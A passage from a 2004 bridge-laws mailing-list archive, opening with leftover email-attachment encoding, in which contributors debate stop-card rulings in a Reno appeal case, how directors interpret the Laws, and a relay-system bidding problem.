nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0 zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0005_00005D4A.000069E4-- From toddz@att.net Mon Jul 5 18:36:27 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Mon, 05 Jul 2004 13:36:27 -0400 Subject: [blml] How played is declairer's exposed card? In-Reply-To: References: Message-ID: <6.0.1.1.1.20040705132059.01b95ec0@postoffice.worldnet.att.net> At 08:08 AM 7/5/2004, WILLIAM SCHODER wrote: > I stand revealed. But then I also stand to follow Law 81 C 5, with > emphasis (mine) on the word "interpret." Does anyone think that it > was put there erroneously, or unnecessarily? Or are we all so very > much smarter than Edgar was, and can now do away with it? (General and not really specific to this exposed-card issue.) One could argue that it's unclear whether interpretting is a duty or a power of the director. And I don't have to be smarter that Edgar to have different, reasonable goals. I'd like the interpretation of the law to be consistent amongst all directors, so hence the responsibility for interpretting the laws should lie with a different body of people, at least in name. Edgar apparently liked the flexibility. But I don't flash cards as a declarer or defender that I don't intend to play, not even to let a tanking player know his contribution to the trick is irrelevant. I see other people that do flash cards they don't intend to play. Did this behavior exist before it was sanctioned by law? -Todd From nigel.guthrie@ntlworld.com Mon Jul 5 20:33:35 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jul 2004 20:33:35 +0100 Subject: [blml] Reno regional appeal number four References: <000001c4625a$1236daa0$6900a8c0@WINXP> Message-ID: <000c01c462c6$f79377e0$e59868d5@jeushtlj> > [Sven Pran] > So in Norway unless West actually called > while the stop card was still faced there > would have been no irregularity. South is > responsible for measuring out the ten > seconds during which West may concentrate > on deciding his call, not being bothered > by other matters. > How would I have ruled under your > regulations? I wouldn't. Your regulations > create problems where there is no cause. [Nigel] Because of the delay in calling the TD, I would rule in favour of the "offending side". I feel that if the infraction had been as blatant as later described by the experienced expert non-offenders, then they would have called the TD, at the time; when the TD would probably have ruled differently: The TD would probably have ruled that there was a possible demonstrable use of UI (because pass was an LA). But even if there was no useful UI, he could still rule against abuse of the stop procedure. In the UK, we also avoid US problems by adopting Sven's stop rules: LHO may not bid until you count ten seconds and then put the stop card back in the box. But we still have problems when the jump-bidder takes away the stop card before ten seconds have elapsed; or when LHO bids before the stop card is removed. IMO... (1) The stop card should be replaced with a ten second "egg-timer" (you would need only one per table). (2) When you make any bid, at the four level or above -- not just a jump bid -- you should be allowed to invoke the stop procedure -- to help prevent LHO from giving UI. (3) There should be automatic penalties for flouting stop procedures. You should not need to demonstrate UI that has been given and used. (4) In fact, players prefer even more simple rules but, naturally enough, there is an entrenched resistance to more objective rules among TDs; and ordinary players aren't consulted in the rule- making process. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Mon Jul 5 20:39:53 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jul 2004 20:39:53 +0100 Subject: [blml] How played is declarer's exposed card? References: <001701c46094$0c050b60$6250fd3e@jeushtlj><000001c460ef$8a2f6a70$0200a8c0@Zog> Message-ID: <001601c462c7$d8adcfa0$e59868d5@jeushtlj> [David Stevenson] If you are going to apply logic to decide the interpretation then consider... [Nigel] Heaven forfend! Surely we should confine ourselves to telepathy and intuition about the unwritten "intentions" of the law-makers! :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Mon Jul 5 22:25:07 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 5 Jul 2004 22:25:07 +0100 Subject: [blml] How played is declairer's exposed card? References: Message-ID: <02ce01c462d6$8c20cde0$e59868d5@jeushtlj> [Oliver Wendell Holmes quoted by Richard Hills] >A word is not a crystal, transparent and >unchanged, it is the skin of a living thought >and may vary greatly in color and content >according to the circumstances and the time in >which it is used. [Nigel] We all agree that the meaning of a word relates to its context. An apt definition of the meaning of a word is the set of contexts in which it has appeared. That is why the best dictionaries include appropriate quotations. For some rhetorical or Delphic utterances, it may even be necessary to guess at the secret agenda of the speaker to divine what he wanted to impart, rather than what he appears to have said. The question remains: should it really be necessary to rely solely on such intuition and telepathy to properly interpret a rule for a game? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From svenpran@online.no Mon Jul 5 22:38:40 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 5 Jul 2004 23:38:40 +0200 Subject: [blml] Reno regional appeal number four In-Reply-To: <000c01c462c6$f79377e0$e59868d5@jeushtlj> Message-ID: <000001c462d8$713a7150$6900a8c0@WINXP> > Nigel Guthrie > > [Sven Pran] > > So in Norway unless West actually called > > while the stop card was still faced there > > would have been no irregularity. South is > > responsible for measuring out the ten > > seconds during which West may concentrate > > on deciding his call, not being bothered > > by other matters. > > How would I have ruled under your > > regulations? I wouldn't. Your regulations > > create problems where there is no cause. >=20 > [Nigel] ............ > In the UK, we also avoid US problems by > adopting Sven's stop rules: LHO may > not bid until you count ten seconds > and then put the stop card back in the > box. But we still have problems when the > jump-bidder takes away the stop card > before ten seconds have elapsed; or when > LHO bids before the stop card is removed. It would seem I didn't make my point quite complete: In Norway LHO is permitted to make any call as soon as the stop card is taken away by the jump-bidder even when this happens before ten seconds = have elapsed. But in addition LHO may still spend his full ten seconds in the case the stop card is taken away before ten seconds have elapsed. What LHO may not do is to make any call *before* the stop card is taken = away however long the stop card remains faced. Also, the ten seconds delay does not begin until after all questions (if any) by LHO has been answered. Regards Sven From ereppert@rochester.rr.com Mon Jul 5 22:49:59 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 5 Jul 2004 17:49:59 -0400 Subject: [blml] Baby face In-Reply-To: Message-ID: <433B6474-CECD-11D8-9C6E-0030656F6826@rochester.rr.com> On Sunday, Jul 4, 2004, at 23:10 US/Eastern, richard.hills@immi.gov.au wrote: > "Therefore, on the balance of probabilities, > pard's ambiguous hesitation demonstrably > suggests that - in the long run - a 2S bid > would gain a greater percentage of the > matchpoints than a Pass would gain." Hm. Not at all sure I agree with this logic. I'll have to thing about it. From richard.hills@immi.gov.au Mon Jul 5 23:20:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 08:20:38 +1000 Subject: [blml] A very ordinary (was Reno regional) Message-ID: Nigel Guthrie: [big snip] >>ordinary players aren't consulted in the rule-making >>process. Sir John Betjeman (1906-1984), Poet Laureate: >She, such a very ordinary little woman; > He, such a thumping crook; >But both, for a moment, little lower than the angels > In the teashop's ingle-nook. Richard Hills: Ordinary players are *often* considered as little lower than the angels when rule-makers consult. (a) At the start of the process of producing the 2006 Laws, all ordinary players were invited to send submissions to the WBF LC Secretary (and this ordinary player did so). (b) An ordinary player, Peter Gill, submitted a case for blml discussion. This case was later chosen as an illustrative example attached to the WBF Code of Practice. (c) The penultimate draft of the ABF Alert Regulations was posted on the ABF website, and some suggestions from ordinary players surfing in were adopted in the modified final draft of the ABF Alert Regulations. (d) However, not many of Nigel's ideas have been adopted by rule-makers, since Nigel is an extraordinary player. :-) Best wishes RJH From schoderb@msn.com Mon Jul 5 23:31:18 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 5 Jul 2004 18:31:18 -0400 Subject: [blml] Reno regional appeal number four References: <000001c4625a$1236daa0$6900a8c0@WINXP> Message-ID: Oh how I hate to get sucked into this kind of discussion. What are the regulations of the use of the "stop" card. ACBL? What are E/W system agreements re actions over preempts? Aside from this we are going to make a pass a logical alternative to a raise of spades to four with partner having a limit raise by the whatever speed with which three spades was bid, disregarding the vulnerability, and free action of West. Let me get this into my mind. A pass in first seat by an opponent, a preemptive jump overcall by LHO, a reevaluation of my solid opening hand in light of a limit raise by partner, a matchpoint pair game, a complaint some number of rounds later. Gee, the preempt didn't work at the table, maybe we can find something else to get a good score. When we played with wallets and guns on the table in rubber bridge, this would never have come up. Maybe we've sophisticated the game beyond its rational limits. I vote for score stands, and I vote to keep the money. At least Charity could benefit from this ........! =Kojak= ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Monday, July 05, 2004 2:34 AM Subject: RE: [blml] Reno regional appeal number four > richard.hills@immi.gov.au > Wed Open Pairs 2nd Session > > Board: 13 > Dealer: North > Vul: Both > > T87 > K96 > 43 > QJ864 > Q954 AKJ32 > AJ3 QT54 > 65 KJ7 > A952 3 > 6 > 872 > AQT982 > KT7 > > WEST NORTH EAST SOUTH > --- Pass 1S 3D > 3S(1) Pass 4S Pass > Pass Pass > > (1) allegedly bid quickly > > The Facts: The final contract was 4S by East making > four for a score of EW +620. The opening lead is > unknown. The director was called two rounds > later. Because of this, the director spoke to each > pair independently. NS said that the stop card was > used before West's 3S bid and that the 3S bid was > made very quickly. South said West took nowhere > near ten seconds to bid 3S. East was not sure he > saw the stop card, but West did not refute that it > was used. West could not give the director an > accurate estimate of the time elapsed prior to the > 3S bid. He said that either North or South > inquired about the meaning of 3S (which he told the > director was "limit"), but there was no > conversation at the table concerning the tempo of > the 3S bid. > > The director considered whether West followed the > requirement to pause after the skip bid (Law 73A2). > Although the facts were in dispute, the ruling was > based on the likelihood that the 3S bid occurred > with less than a 10 second pause. After speaking > with both A and B players, however, the director > determined that Laws 73F1 and 16A were not violated > since all players consulted bid 4S with the East > cards. The table result was ruled to stand. > > The Appeal: NS appealed the ruling and all four > players attended the hearing. North had 13,500 > masterpoints, South 9100, East 550, and West 600. > The players agreed that during the auction there > was a discussion of the meaning of the 3S bid, but > no mention was made about the tempo of the bid. > When asked by the reviewer the meaning of the 3S > bid, East described it as "at the 3-level, having > some cards". He seemed reluctant to use his > partner's words "limit raise". South said he used > the stop card. NS said that West did not pause. EW > did not recall that there was any tempo problem with > the 3S bid. > > How would you rule? This case clearly demonstrates the advantage of our alert regulations in Norway: West is entitled to a ten seconds delay following the skip bid by South even if South retracts his stop card earlier, but he is also allowed to make his call as soon as South retracts his stop card (or say "continue" or any words to that effect). So in Norway unless West actually called while the stop card was still faced there would have been no irregularity. South is responsible for measuring out the ten seconds during which West may concentrate on deciding his call, not being bothered by other matters. How would I have ruled under your regulations? I wouldn't. Your regulations create problems where there is no cause. Regards Sven _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From schoderb@msn.com Mon Jul 5 23:49:35 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 5 Jul 2004 18:49:35 -0400 Subject: [blml] Reno regional appeal number four References: <000001c4625a$1236daa0$6900a8c0@WINXP> <000c01c462c6$f79377e0$e59868d5@jeushtlj> Message-ID: (3) There should be automatic penalties for flouting stop procedures. You should not need to demonstrate UI that has been given and used. Yeah man! Hit 'em with the penalties! You got the rights! But please, don't make score adjustments that affect the rest of the game as penalties. I've seen this kind of "appeal" for a ruling too many times in the many years I've been around. I remember a most highly rated and "superior" player (St. Louis Regional) who insisted that since the AC didn't agree with his appeal, then the "automatic" ACBL penalty of 3 IMPs for misinformation be assigned, thereby giving him and his three customers the win. Fortunately there were two ACBL National TDs in the room, who were quickly able to disabue the AC of the existence of any such "automatic" penalty. Lets get real! =Kojak= ----- Original Message ----- From: "Nigel Guthrie" To: "BLML" Sent: Monday, July 05, 2004 3:33 PM Subject: Re: [blml] Reno regional appeal number four > > [Sven Pran] > > So in Norway unless West actually called > > while the stop card was still faced there > > would have been no irregularity. South is > > responsible for measuring out the ten > > seconds during which West may concentrate > > on deciding his call, not being bothered > > by other matters. > > How would I have ruled under your > > regulations? I wouldn't. Your regulations > > create problems where there is no cause. > > [Nigel] > Because of the delay in calling the TD, > I would rule in favour of the "offending > side". I feel that if the infraction had > been as blatant as later described by the > experienced expert non-offenders, then they > would have called the TD, at the time; when > the TD would probably have ruled > differently: > > The TD would probably have ruled that there > was a possible demonstrable use of UI > (because pass was an LA). But even if there > was no useful UI, he could still rule against > abuse of the stop procedure. > > In the UK, we also avoid US problems by > adopting Sven's stop rules: LHO may > not bid until you count ten seconds > and then put the stop card back in the > box. But we still have problems when the > jump-bidder takes away the stop card > before ten seconds have elapsed; or when > LHO bids before the stop card is removed. > > IMO... > > (1) The stop card should be replaced with a > ten second "egg-timer" (you would need only > one per table). > > (2) When you make any bid, at the four > level or above -- not just a jump bid -- you > should be allowed to invoke the stop > procedure -- to help prevent LHO from > giving UI. > > (3) There should be automatic penalties for > flouting stop procedures. You should not > need to demonstrate UI that has been given > and used. > > (4) In fact, players prefer even more > simple rules but, naturally enough, there > is an entrenched resistance to more > objective rules among TDs; and ordinary > players aren't consulted in the rule- > making process. > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Tue Jul 6 00:02:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 09:02:42 +1000 Subject: [blml] Mr Holmes, they were the footprints of a giant hound! Message-ID: >From the thread, How played is..... Nigel Guthrie: >>We all agree that the meaning of a word >>relates to its context. >> >>An apt definition of the meaning of a >>word is the set of contexts in which >>it has appeared. That is why the best >>dictionaries include appropriate >>quotations. [snip] >>The question remains: should it really >>be necessary to rely solely on such >>intuition and telepathy to properly >>interpret a rule for a game? Stewart Edelstein, Dubious Doublets, page 1: >In 1918, Oliver Wendell Holmes Jr. was >presented with a conundrum. As a U.S. >Supreme Court justice, he had to construe >the word "income" in the context of the >Income Tax Act of 1913. In doing so, he >observed: "A word is not a crystal, >transparent and unchanged, it is the skin of >a living thought and may vary greatly in >color and content according to the >circumstances and the time in which it is >used." Lawyers and jurists have found this >definition of "word" so useful, not just in >construing the nearly indecipherable tax >code, but also in defining words in other >contexts, that this quotation appears in >more than two hundred reported court >decisions from all around the country. Richard Hills: Therefore, the answer is that any complex system of Laws requires, by its very nature, (telepathically) assessing the (evolving) intent of the Law makers. Of course, in my opinion, David Stevenson has implicitly argued that Duplicate Bridge has non-complex Laws. In my opinion, David Stevenson has been arguing in another thread that a TD can ignore the WBF Code of Practice, and legally impose a PP for whatever the TD (in their wisdom) deems is a Law 90 "offence". Likewise, in my opinion, Grattan Endicott has also implicitly argued that Duplicate Bridge has non-complex Laws. In my opinion, Grattan Endicott has been arguing in another thread that an SO (in its wisdom) can make a regulation, pursuant to a particular Law, which over-rides any other Law. If one rolls the Grattanic and Stevensonian interpretations of Duplicate Bridge Laws together, then the Laws can be non-complexly paraphrased as: Law 1 - Whatever regulation an SO promulgates is legal. Law 2 - Subject to Law 1, whatever action a TD takes is legal. I sit on the fence. I do not support the view of Nigel Guthrie that it is possible to write complex Laws which do not need interpretation. Neither do I support the Grattanic view that any SO may arbitrarily rewrite the Laws. Best wishes RJH From nigel.guthrie@ntlworld.com Tue Jul 6 00:36:02 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jul 2004 00:36:02 +0100 Subject: [blml] A very ordinary (was Reno regional) References: Message-ID: <003601c462e8$d706d360$159468d5@jeushtlj> > [Richard James Hills] > (a) At the start of the process of producing > the 2006 Laws, all ordinary players were > invited to send submissions to the WBF LC > Secretary (and this ordinary player did so). > [SNIP] > (d) However, not many of Nigel's ideas have > been adopted by rule-makers. [Nigel] Unfortunately, as for all ordinary players, my invitation to contribute seems to have been lost in the post :( Seriously, Richard, in what from did ordinary players receive this invitation? Are you sure you were not made aware of the invitation in your capacity as a bridge administrator or a TD? Of course, Richard is quite right about the effect of my (unsolicited) suggestions, here on BLML and, in some cases, directly to the EBU (or ABF) -- (I still don't know how to contact the WBFLC). Anyway, Richard will be pleased to learn that all my constructive suggestions have been ignored, so far. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 26/06/2004 From jrhind@therock.bm Tue Jul 6 00:37:03 2004 From: jrhind@therock.bm (Jack A. Rhind) Date: Mon, 05 Jul 2004 20:37:03 -0300 Subject: [blml] Reno regional appeal number four In-Reply-To: Message-ID: I allow the table result to stand. Both East and West clearly have their bid. I would speak to West quietly and recommend that he/she be more careful to observe the STOP card regulations. Regards, Jack Rhind > > >> richard.hills@immi.gov.au >> Wed Open Pairs 2nd Session >> >> Board: 13 >> Dealer: North >> Vul: Both >> >> T87 >> K96 >> 43 >> QJ864 >> Q954 AKJ32 >> AJ3 QT54 >> 65 KJ7 >> A952 3 >> 6 >> 872 >> AQT982 >> KT7 >> >> WEST NORTH EAST SOUTH >> --- Pass 1S 3D >> 3S(1) Pass 4S Pass >> Pass Pass >> >> (1) allegedly bid quickly >> >> The Facts: The final contract was 4S by East making >> four for a score of EW +620. The opening lead is >> unknown. The director was called two rounds >> later. Because of this, the director spoke to each >> pair independently. NS said that the stop card was >> used before West's 3S bid and that the 3S bid was >> made very quickly. South said West took nowhere >> near ten seconds to bid 3S. East was not sure he >> saw the stop card, but West did not refute that it >> was used. West could not give the director an >> accurate estimate of the time elapsed prior to the >> 3S bid. He said that either North or South >> inquired about the meaning of 3S (which he told the >> director was "limit"), but there was no >> conversation at the table concerning the tempo of >> the 3S bid. >> >> The director considered whether West followed the >> requirement to pause after the skip bid (Law 73A2). >> Although the facts were in dispute, the ruling was >> based on the likelihood that the 3S bid occurred >> with less than a 10 second pause. After speaking >> with both A and B players, however, the director >> determined that Laws 73F1 and 16A were not violated >> since all players consulted bid 4S with the East >> cards. The table result was ruled to stand. >> >> The Appeal: NS appealed the ruling and all four >> players attended the hearing. North had 13,500 >> masterpoints, South 9100, East 550, and West 600. >> The players agreed that during the auction there >> was a discussion of the meaning of the 3S bid, but >> no mention was made about the tempo of the bid. >> When asked by the reviewer the meaning of the 3S >> bid, East described it as "at the 3-level, having >> some cards". He seemed reluctant to use his >> partner's words "limit raise". South said he used >> the stop card. NS said that West did not pause. EW >> did not recall that there was any tempo problem with >> the 3S bid. >> >> How would you rule? > > This case clearly demonstrates the advantage of our alert regulations in > Norway: > > West is entitled to a ten seconds delay following the skip bid by South even > if South retracts his stop card earlier, but he is also allowed to make his > call as soon as South retracts his stop card (or say "continue" or any words > to that effect). > > So in Norway unless West actually called while the stop card was still faced > there would have been no irregularity. South is responsible for measuring > out the ten seconds during which West may concentrate on deciding his call, > not being bothered by other matters. > > How would I have ruled under your regulations? I wouldn't. Your regulations > create problems where there is no cause. > > Regards Sven > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Tue Jul 6 00:33:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 09:33:16 +1000 Subject: [blml] Balance of probabilities Message-ID: The opponents are playing the Symmetric Relay system. Imps, Knockout Teams Dlr: North Vul: East-West The bidding has gone: WEST NORTH EAST SOUTH --- Pass 1D(1) Pass 1H(2) Pass 2C(3) Pass 2D(4) Pass Pass ? (1) 10-14 hcp, unbalanced with 2 or 3 suits, usually denies a 5-card major (exception, could be 5/5 in both majors), may or may not hold either or both 4-card majors, could hold as few as zero diamonds. (2) Two-way bid. Either less than game-forcing with a heart suit (promising a minimum of 5 or 6 hcp), or the first step in an artificial game force relay. (3) Shows exactly 4 diamonds, and at least 5 clubs. (4) Signoff. Heart suit + diamond preference. You, South, hold: AK732 5 T854 875 What call do you make? Best wishes Richard Hills From richard.hills@immi.gov.au Tue Jul 6 00:52:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 09:52:41 +1000 Subject: [blml] Reno regional appeal number four Message-ID: William Schoder: [snip] >>a complaint some number of rounds later. Gee, the >>preempt didn't work at the table, maybe we can find >>something else to get a good score. >> >>When we played with wallets and guns on the table in >>rubber bridge, this would never have come up. Maybe >>we've sophisticated the game beyond its rational >>limits. I vote for score stands, and I vote to keep >>the money. At least Charity could benefit from this >>........! >> >>=Kojak= Richard Hills (first thoughts): >The experienced North-South partnership (North holding >13,500 masterpoints and South holding 9100 >masterpoints) have infracted Law 16A2: > >"When a player has substantial reason to believe that >an opponent who had a logical alternative has chosen >an action that could have been suggested by such >information, he should summon the Director forthwith." > >Two rounds later was not "forthwith". Therefore, if I >had been the TD or the AC, I would not have adjusted >the score, pursuant to the first sentence of Law 11A: > >"The right to penalise an irregularity may be >forfeited if either member of the non-offending side >takes any action before summoning the Director." Richard Hills (second thoughts): I asked an Australian CTD for his opinion on my interpretation of Law 16A2 (and its footnote). He had the differing opinion that Law 16A2 merely laid down correct procedure, but Law 81C6 had primacy over Law 16A2 when it came to score adjustment. How do other blmlers interpret these dissonant Laws? Best wishes RJH From richard_willey@hotmail.com Tue Jul 6 00:57:13 2004 From: richard_willey@hotmail.com (richard willey) Date: Mon, 05 Jul 2004 23:57:13 +0000 Subject: [blml] Balance of probabilities Message-ID: Rough one. I THINK that both bidders have denies a 4 card spade suit, in which case partner has at least 2 Spades and Spades are going to split 3-3... However, I don't think that the hand will play well in 2S on the expected trump lead. I'm going to go quietly. I wouldn't fault 2S, however. >The opponents are playing the Symmetric Relay system. > >Imps, Knockout Teams >Dlr: North >Vul: East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- Pass 1D(1) Pass >1H(2) Pass 2C(3) Pass >2D(4) Pass Pass ? > >(1) 10-14 hcp, unbalanced with 2 or 3 suits, usually >denies a 5-card major (exception, could be 5/5 in >both majors), may or may not hold either or both 4-card >majors, could hold as few as zero diamonds. > >(2) Two-way bid. Either less than game-forcing with a >heart suit (promising a minimum of 5 or 6 hcp), or the >first step in an artificial game force relay. > >(3) Shows exactly 4 diamonds, and at least 5 clubs. > >(4) Signoff. Heart suit + diamond preference. > >You, South, hold: > >AK732 >5 >T854 >875 > >What call do you make? > >Best wishes > >Richard Hills > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________ Get tips for maintaining your PC, notebook accessories and reviews in Technology 101. http://special.msn.com/tech/technology101.armx From richard.hills@immi.gov.au Tue Jul 6 01:03:49 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 10:03:49 +1000 Subject: [blml] A very ordinary (was Reno regional) Message-ID: Nigel Guthrie: [snip] >Seriously, Richard, in what form did >ordinary players receive this invitation? >Are you sure you were not made aware of >the invitation in your capacity as a >bridge administrator or a TD? [snip] Richard Hills: Ordinary Aussie players received this invitation some years ago via the "What's New" page on the ABF website. Ordinary world-wide players (with an interest in the Laws) are also invited to subscribe to the Australian Bridge Directors' Bulletin, which has been described by a former CTD of Wales as the best bulletin of its type in the world. The far-flung subscribers also received this invitation some years ago in a news item in the Bulletin. Blmlers interested in subscribing to the Australian Bridge Directors' Bulletin should visit this URL (which also contains sample articles): http://www.abf.com.au/directors/index.html Best wishes RJH From schoderb@msn.com Tue Jul 6 01:07:59 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 5 Jul 2004 20:07:59 -0400 Subject: [blml] How played is declarer's exposed card? References: <001701c46094$0c050b60$6250fd3e@jeushtlj><000001c460ef$8a2f6a70$0200a8c0@Zog> <001601c462c7$d8adcfa0$e59868d5@jeushtlj> Message-ID: If that is the way you wish to categorize the usage of "interpretation" and a TDs job, so be it. However, I think you are blowing smoke up somewhere. It is, to me, a most juvenile precept to think that the Laws will apply equally throughout the realm in which bridge is played. The basic structure of the game is adequately presented in the Laws; the game is mostly played throughout the world without this kind of "analysis" (I tried not to say b..l...t). If you great savants of the language and the game are able, you will produce a set of Laws that do not exist in any other human endeavor. Of course, you are most qualified to do so. =Kojak+ ---- Original Message ----- From: "Nigel Guthrie" To: "BLML" Sent: Monday, July 05, 2004 3:39 PM Subject: Re: [blml] How played is declarer's exposed card? > [David Stevenson] > If you are going to apply logic to decide > the interpretation then consider... > > [Nigel] > Heaven forfend! Surely we should confine > ourselves to telepathy and intuition about > the unwritten "intentions" of the > law-makers! :) > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From gesta@tiscali.co.uk Tue Jul 6 01:16:42 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 6 Jul 2004 01:16:42 +0100 Subject: [blml] A very ordinary (was Reno regional) References: <003601c462e8$d706d360$159468d5@jeushtlj> Message-ID: <004801c462ee$9cdfd5f0$e3d3403e@multivisionoem> Grattan Endicott To: "BLML" Sent: Tuesday, July 06, 2004 12:36 AM Subject: Re: [blml] A very ordinary (was Reno regional) > > [Richard James Hills] > > > (a) At the start of the process of producing > > the 2006 Laws, all ordinary players were > > invited to send submissions to the WBF LC > > Secretary (and this ordinary player did so). > > [SNIP] > +=+ An invitation was sent to NBOs to submit their thoughts to their Zonal Authorities, having consolidated any views received from their individual members. Zones were invited to present their submissions to the drafting subcommittee. It is true, however, that there was a leakage of opinion from some individuals and NBOs directly to the Coordinator of the Drafting Subcommittee. ~ Grattan ~ +=+ From siegmund@mosquitonet.com Tue Jul 6 00:43:01 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 5 Jul 2004 15:43:01 -0800 (AKDT) Subject: [blml] Balance of probabilities In-Reply-To: Message-ID: On Tue, 6 Jul 2004 richard.hills@immi.gov.au wrote: > Imps, Knockout Teams > Dlr: North > Vul: East-West > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- Pass 1D(1) Pass > 1H(2) Pass 2C(3) Pass > 2D(4) Pass Pass ? [East shows 4 diamonds, 5+ clubs, 10-14, West shows heart suit and diamond preference] > > You, South, hold: > > AK732 > 5 > T854 > 875 > > What call do you make? I know there are some conservatives who disapprove... but I overcalled 1S on the first round, and my partner has decided whether or not to raise on the second round. Given the mess we've gotten ourselves into: If my partner couldn't open the bidding, I expect them to be making overtricks in diamonds despite the break, and I don't think 2S is likely to be doubled. Total Twix says 2-over-2 is right even if it's only a 7-card fit. Hard to say whether Pass in a LA.Three passes in a row on these cards strikes me as exceedingly unlikely, but someone who has already passed twice might well seriously consider it, or even do it. GRB From richard.hills@immi.gov.au Tue Jul 6 01:49:26 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jul 2004 10:49:26 +1000 Subject: [blml] Reno regional appeal number four Message-ID: Actual director's ruling: [snip] >>>After speaking with both A and B players, however, >>>the director determined that Laws 73F1 and 16A >>>were not violated since all players consulted bid >>>4S with the East cards. The table result was >>>ruled to stand. Jack Rhind: >>I allow the table result to stand. Both East and >>West clearly have their bid. I would speak to West >>quietly and recommend that he/she be more careful >>to observe the STOP card regulations. Actual appeal panel ruling: [snip] >The panel then polled three experts and four peers >(450-700 points) on East's action over 3S-P. One >expert said he would not pass and would bid either >3NT or 4S. Another thought it was 